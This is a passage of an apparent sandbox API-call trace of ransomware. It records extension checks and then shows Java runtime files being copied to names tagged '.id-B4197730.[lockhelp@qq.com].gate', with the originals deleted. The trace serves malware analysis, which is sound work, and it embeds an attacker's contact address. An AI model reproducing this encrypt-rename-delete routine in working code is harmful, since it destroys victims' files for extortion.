(lpString1=".xlsx", lpString2="i.jar") returned -1 [0294.104] lstrlenW (lpString=".ppt") returned 4 [0294.104] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString=".zip") returned 4 [0294.104] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.104] lstrlenW (lpString=".rar") returned 4 [0294.104] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.104] lstrlenW (lpString=".bz2") returned 4 [0294.104] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.104] lstrlenW (lpString=".7z") returned 3 [0294.104] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString=".dbf") returned 4 [0294.104] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString=".1cd") returned 4 [0294.104] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString=".jpg") returned 4 [0294.104] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString=".doc") returned 4 [0294.104] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.105] lstrlenW (lpString=".docx") returned 5 [0294.105] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0294.105] lstrlenW (lpString=".pdf") returned 4 [0294.105] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.105] lstrlenW (lpString=".xls") returned 4 [0294.105] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.105] lstrlenW (lpString=".xlsx") returned 5 [0294.105] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0294.105] lstrlenW (lpString=".ppt") returned 4 [0294.105] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.105] lstrlenW (lpString=".zip") returned 4 [0294.105] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.105] lstrlenW (lpString=".rar") returned 4 [0294.105] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.105] lstrlenW (lpString=".bz2") returned 4 [0294.105] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.105] lstrlenW (lpString=".7z") returned 3 [0294.105] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.105] lstrlenW (lpString=".dbf") returned 4 [0294.105] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.105] lstrlenW (lpString=".1cd") returned 4 [0294.105] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.105] lstrlenW (lpString=".jpg") returned 4 [0294.105] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.105] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0294.105] lstrlenW (lpString="zipfs.jar") returned 9 [0294.105] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.106] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=68924) returned 1 [0294.106] CloseHandle (hObject=0x4f0) returned 1 [0294.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0294.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.106] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.107] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.107] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.107] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.107] GetLastError () returned 0x0 [0294.107] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0294.264] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10d40, lpOverlapped=0x0) returned 1 [0294.266] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.266] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0294.266] SetEndOfFile (hFile=0x52c) returned 1 [0294.288] CloseHandle (hObject=0x52c) returned 1 [0294.288] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.288] SetEndOfFile (hFile=0x4f0) returned 1 [0294.292] CloseHandle (hObject=0x4f0) returned 1 [0294.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.292] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0294.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.293] lstrlenW (lpString=".doc") returned 4 [0294.293] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.293] lstrlenW (lpString=".docx") returned 5 [0294.293] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0294.293] lstrlenW (lpString=".pdf") returned 4 [0294.293] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.293] lstrlenW (lpString=".xls") returned 4 [0294.293] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.293] lstrlenW (lpString=".xlsx") returned 5 [0294.293] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0294.293] lstrlenW (lpString=".ppt") returned 4 [0294.293] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.293] lstrlenW (lpString=".zip") returned 4 [0294.293] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.293] lstrlenW (lpString=".rar") returned 4 [0294.293] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.293] lstrlenW (lpString=".bz2") returned 4 [0294.293] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.293] lstrlenW (lpString=".7z") returned 3 [0294.293] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.293] lstrlenW (lpString=".dbf") returned 4 [0294.293] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.294] lstrlenW (lpString=".1cd") returned 4 [0294.294] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.294] lstrlenW (lpString=".jpg") returned 4 [0294.294] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.294] lstrlenW (lpString=".doc") returned 4 [0294.294] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.294] lstrlenW (lpString=".docx") returned 5 [0294.294] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0294.294] lstrlenW (lpString=".pdf") returned 4 [0294.294] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.294] lstrlenW (lpString=".xls") returned 4 [0294.294] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.294] lstrlenW (lpString=".xlsx") returned 5 [0294.294] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0294.294] lstrlenW (lpString=".ppt") returned 4 [0294.294] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.294] lstrlenW (lpString=".zip") returned 4 [0294.294] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.294] lstrlenW (lpString=".rar") returned 4 [0294.294] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.294] lstrlenW (lpString=".bz2") returned 4 [0294.294] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.294] lstrlenW (lpString=".7z") returned 3 [0294.294] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.294] lstrlenW (lpString=".dbf") returned 4 [0294.294] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.294] lstrlenW (lpString=".1cd") returned 4 [0294.294] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0294.295] lstrlenW (lpString=".jpg") returned 4 [0294.295] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.295] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.295] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0294.295] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.295] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=75124) returned 1 [0294.295] CloseHandle (hObject=0x4f0) returned 1 [0294.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0294.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.295] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.296] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.296] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.296] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.305] GetLastError () returned 0x0 [0294.305] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x12574, lpOverlapped=0x0) returned 1 [0294.367] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x12580, lpOverlapped=0x0) returned 1 [0294.369] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.369] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x108, lpOverlapped=0x0) returned 1 [0294.369] SetEndOfFile (hFile=0x52c) returned 1 [0294.392] CloseHandle (hObject=0x52c) returned 1 [0294.395] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.395] SetEndOfFile (hFile=0x4f0) returned 1 [0294.398] CloseHandle (hObject=0x4f0) returned 1 [0294.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.398] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0294.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.399] lstrlenW (lpString=".doc") returned 4 [0294.399] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.399] lstrlenW (lpString=".docx") returned 5 [0294.399] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0294.399] lstrlenW (lpString=".pdf") returned 4 [0294.399] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.399] lstrlenW (lpString=".xls") returned 4 [0294.399] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.399] lstrlenW (lpString=".xlsx") returned 5 [0294.399] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0294.399] lstrlenW (lpString=".ppt") returned 4 [0294.399] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.399] lstrlenW (lpString=".zip") returned 4 [0294.399] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.399] lstrlenW (lpString=".rar") returned 4 [0294.399] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.399] lstrlenW (lpString=".bz2") returned 4 [0294.399] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.399] lstrlenW (lpString=".7z") returned 3 [0294.399] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.399] lstrlenW (lpString=".dbf") returned 4 [0294.439] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.439] lstrlenW (lpString=".1cd") returned 4 [0294.439] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.439] lstrlenW (lpString=".jpg") returned 4 [0294.439] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.439] lstrlenW (lpString=".doc") returned 4 [0294.439] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.439] lstrlenW (lpString=".docx") returned 5 [0294.439] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0294.439] lstrlenW (lpString=".pdf") returned 4 [0294.439] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.439] lstrlenW (lpString=".xls") returned 4 [0294.439] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.439] lstrlenW (lpString=".xlsx") returned 5 [0294.439] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0294.440] lstrlenW (lpString=".ppt") returned 4 [0294.440] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.440] lstrlenW (lpString=".zip") returned 4 [0294.440] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.440] lstrlenW (lpString=".rar") returned 4 [0294.440] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.440] lstrlenW (lpString=".bz2") returned 4 [0294.440] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.440] lstrlenW (lpString=".7z") returned 3 [0294.440] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.440] lstrlenW (lpString=".dbf") returned 4 [0294.440] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.440] lstrlenW (lpString=".1cd") returned 4 [0294.440] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0294.440] lstrlenW (lpString=".jpg") returned 4 [0294.440] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.440] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.440] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0294.440] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.441] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=80856) returned 1 [0294.441] CloseHandle (hObject=0x4f0) returned 1 [0294.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0294.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.441] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.441] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.442] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0294.442] GetLastError () returned 0x0 [0294.442] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0294.451] WriteFile (in: hFile=0x518, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x13be0, lpOverlapped=0x0) returned 1 [0294.453] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.453] WriteFile (in: hFile=0x518, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x100, lpOverlapped=0x0) returned 1 [0294.453] SetEndOfFile (hFile=0x518) returned 1 [0294.453] CloseHandle (hObject=0x518) returned 1 [0294.453] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.453] SetEndOfFile (hFile=0x4f0) returned 1 [0294.468] CloseHandle (hObject=0x4f0) returned 1 [0294.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.468] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0294.469] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.469] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.469] lstrlenW (lpString=".doc") returned 4 [0294.469] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.469] lstrlenW (lpString=".docx") returned 5 [0294.469] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0294.469] lstrlenW (lpString=".pdf") returned 4 [0294.469] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.469] lstrlenW (lpString=".xls") returned 4 [0294.469] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.469] lstrlenW (lpString=".xlsx") returned 5 [0294.469] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0294.469] lstrlenW (lpString=".ppt") returned 4 [0294.469] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.469] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.469] lstrlenW (lpString=".zip") returned 4 [0294.469] lstrcmpiW (lpString1=".zip", 